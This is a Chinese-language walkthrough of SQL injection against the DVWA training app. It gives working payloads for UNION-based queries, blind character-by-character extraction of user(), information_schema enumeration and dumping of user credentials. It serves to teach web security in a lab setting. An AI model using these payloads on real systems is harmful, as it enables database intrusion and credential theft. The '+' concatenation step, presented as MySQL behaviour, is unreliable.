首先看看输入正常的ID得到什么结果:
当输入1‘ 时:
说明了这个id的类型是个string,数据库是MySQL
当输入1’ and '1'='1时,and后面的1=1是个永真式:
当输入1‘ or '1'='1是,这个式子是个永真式,返回所有结果:
确定数据表的列数:
输入' union select 1,2 --'
而输入' union select 1,2,3 --'时返回
确定这个数据表有两列后,输入 1' and 1=1 union select database(),user()#
返回database()为dvwa,user()为root@localhost
union操作合并两条或多条select语句的查询结果。如果应用程序返回了第一个但是查询得到的所有数据,在通过在一个查询后面注入union运算符并添加另外一个任意查询,便可以读取到数据库用户访问过的任何一个表。
还有另一个办法查看user(),但比较麻烦,是按比特提取数据的:
对于这样的URL:localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
实际进行的查询为:SELECT first_name, last_name FROM users WHERE user_id = ‘1’
因为id参数是可注入的,就可以使用字符串连接技术来提取数据。
对于长度大于1的字符串比较容易分,这里主要介绍长度为1的字符串如何获得可操控的数字参数。
localhost/dvwa/vulnerabilities/sqli/?id=’%2B'1'%2B'&Submit=Submit#
对应的查询是:SELECT first_name, last_name FROM users WHERE user_id = ‘’+‘1’+'' 显然与上面的查询等价。
再进一步,由于1的ASCII是49,char()函数接收一个数字作为参数并返回与其对应的ASCII字符,则可以把/?id=’%2B'1'%2B'改写为/?id=’%2Bchar(49)%2B'
获得了可操控的数字参数,再利用CASE语句构造如下输入:
'+char(49+(case when (substring(user(),1,1) > 't') then 1 else 0 end))+'
当返回的页面与查询1一致说明substring(user(),1,1) <= '某个字符'
若返回的页面与查询2一致说明substring(user(),1,1) > '某个字符'
利用二分查找法就可确定user()的第一个字母是什么,依次再查找第二个第三个字母.......
输入: '+char(49+(case when (substring(user(),1,1) > 'r') then 1 else 0 end))+'
因为user()的第一个字母是r,故返回页面与查询1是一样的。
输入1' and 1=1 union select null,table_name from information_schema.tables#
通过查询information_schema系统表,看到了这个MySQL数据库中每一个表的名字。
这这堆表名中找到了dvwa使用的表guestbook和users:
然后根据以下命令查看uses表中的内容:
'union select null,column_name from information_schema.columns where table_name='users'-- ' 不知道为什么最后面的--与它后面的‘要空格隔开
接下来查看users表中的user和password:
'union select user,password from users -- '
想要一次展示更多的参数可以使用concat函数:
'union select concat(first_name,' ',last_name,' ',user),password from users -- '